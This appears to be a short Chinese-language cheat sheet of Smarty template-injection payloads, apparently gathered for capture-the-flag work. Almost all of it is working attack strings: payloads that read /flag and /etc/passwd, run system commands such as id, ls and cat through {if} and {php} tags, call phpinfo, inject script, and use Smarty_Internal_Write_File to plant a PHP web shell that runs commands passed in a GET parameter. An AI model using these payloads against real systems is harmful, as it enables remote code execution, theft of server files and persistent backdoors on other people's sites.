由于smarty模版设计利用php开发的引擎所以部分人写法和php很类似
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| {if readfile('/flag')}{/if} smarty中的{if}标签中可以执行php语句 {$smarty.version} 返回版本信息 ${smarty.template} 返回当前模板的文件名 使用{php}{/php}标签来执行被包裹其中的php指令 3.1版本已经废弃 {self::getStreamVariable(“file:///etc/passwd”)} {literal}alert('xss');{/literal} {literal}<script language="php">phpinfo();</script>{/literal} PHP 5.x {system("id")} 最简单,枯燥的一个 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} {if phpinfo()}{/if} {if system('ls')}{/if} { readfile('/flag') } {if show_source('/flag')}{/if} {if system('cat ../../../flag')}{/if} {php}echo `id`;{/php}
|